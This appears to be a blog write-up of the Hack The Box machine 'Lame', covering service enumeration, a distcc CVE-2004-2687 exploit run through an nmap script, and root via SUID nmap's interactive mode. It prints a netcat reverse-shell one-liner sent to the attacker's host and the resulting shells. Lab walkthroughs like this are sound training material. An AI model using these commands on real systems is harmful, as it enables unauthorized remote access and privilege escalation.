0xAp0ll0

Posted on Aug 8

HTB: Lame — Writeup

#linux #hackthebox #ctf

Target: Lame
OS: Linux
Difficulty: Easy

Overview

Lame is a classic Hack The Box machine built around legacy vulnerabilities, unauthenticated service access, and SUID binary misconfigurations. The pathway to initial access and root is straightforward once service enumeration is complete, making it an excellent introductory box for learning manual vulnerability identification and GTFOBins exploitation.

Reconnaissance & Enumeration:

An initial port scan revealed standard services along with an outdated distributed compiler daemon (distccd) and an obsolete Samba installation.

P21/tcp   open  ftp         vsftpd 2.3.4
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to 10.10.15.67
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      vsFTPd 2.3.4 - secure, fast, stable
|_End of status
22/tcp   open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
| ssh-hostkey: 
|   1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)
|_  2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)
139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp  open  netbios-ssn Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)
3632/tcp open  distccd     distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4))
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_clock-skew: mean: 1h59m27s, deviation: 2h49m45s, median: -35s
| smb-os-discovery: 
|   OS: Unix (Samba 3.0.20-Debian)
|   Computer name: lame
|   NetBIOS computer name: 
|   Domain name: hackthebox.gr
|   FQDN: lame.hackthebox.gr
|_  System time: 2026-08-08T08:17:45-04:00
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
|_smb2-time: Protocol negotiation failed (SMB2)

Using NetExec (nxc), null session authentication was confirmed to be enabled on SMB:

nxc smb 10.129.58.33 -u '' -p ''  --shares
SMB         10.129.58.33    445    LAME             [*] Unix (name:LAME) (domain:hackthebox.gr) (signing:False) (SMBv1:True) (Null Auth:True)
SMB         10.129.58.33    445    LAME             [+] hackthebox.gr\: 
SMB         10.129.58.33    445    LAME             [*] Enumerated shares
SMB         10.129.58.33    445    LAME             Share           Permissions     Remark
SMB         10.129.58.33    445    LAME             -----           -----------     ------
SMB         10.129.58.33    445    LAME             print$                          Printer Drivers
SMB         10.129.58.33    445    LAME             tmp             READ,WRITE      oh noes!
SMB         10.129.58.33    445    LAME             opt                             
SMB         10.129.58.33    445    LAME             IPC$                            IPC Service (lame server (Samba 3.0.20-Debian))
SMB         10.129.58.33    445    LAME             ADMIN$                          IPC Service (lame server (Samba 3.0.20-Debian))

before diving deeper in the smb share i wanted to inspect the 3632 port because i am not familiar with it .

Port 3632 inspection (Initial Access)

so the port 3632 is running Distcc which is a tool that enhances the compilation process by utilizing the idle processing power of other computers in the network
after looking on the internet i found this in Hacktricks that checks if the port is vulnerable to the distcc CVE-2004-2687

nmap -p 3632 <ip> --script distcc-cve2004-2687 --script-args="distcc-exec.cmd='id'"

and sure thing the service is vulnerable so i use the same command to do a reverse shell and just like that we got it

nmap -p 3632 <IP> --script distcc-cve2004-2687 \
  --script-args="distcc-exec.cmd='rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc <ur_ip> <port> >/tmp/f'"

and just like that we got a shell

listening on [any] 4444 ...
connect to [10.10.15.67] from (UNKNOWN) [10.129.58.33] 32936
sh: no job control in this shell
sh-3.2$

and u can read the user flag

Privilege Escalation:

Since the user flag was easy i decided to do some manual enumeration instead of relying on linpeas
the first thing to do is to look for binaries with the SUID bit set

find / -perm -u=s -type f 2>/dev/null
/bin/umount
/bin/fusermount
/bin/su
/bin/mount
/bin/ping
/bin/ping6
/sbin/mount.nfs
/lib/dhcp3-client/call-dhclient-script
/usr/bin/sudoedit
/usr/bin/X
/usr/bin/netkit-rsh
/usr/bin/gpasswd
/usr/bin/traceroute6.iputils
/usr/bin/sudo
/usr/bin/netkit-rlogin
/usr/bin/arping
/usr/bin/at
/usr/bin/newgrp
/usr/bin/chfn
/usr/bin/nmap
/usr/bin/chsh
/usr/bin/netkit-rcp
/usr/bin/passwd
/usr/bin/mtr
/usr/sbin/uuidd
/usr/sbin/pppd
/usr/lib/telnetlogin
/usr/lib/apache2/suexec
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/lib/pt_chown
/usr/lib/vmware-tools/bin64/vmware-user-suid-wrapper
/usr/lib/vmware-tools/bin32/vmware-user-suid-wrapper

and /usr/bin/nmap is the most interesting one Let's check GTFOBINS:

Older versions of nmap (2.54B2 to 5.21) feature an interactive mode (--interactive) that allows shell command execution via the ! token. Because /usr/bin/nmap is owned by root with the SUID bit set, executing interactive commands runs them with root privileges.

/usr/bin/nmap --interactive
Spawn a root shell within the Nmap prompt:

Plaintext
nmap> !sh
# id
uid=0(root) gid=0(root) groups=1(daemon)
Root access confirmed.

then you can read the root flag and the machine is done .

Machine Review:

To be honest the machine lives up to its name it is in fact Lame from the user flag to the root flag nothing was challenging even a bit but it was an quick good exercise to do .

DEV Community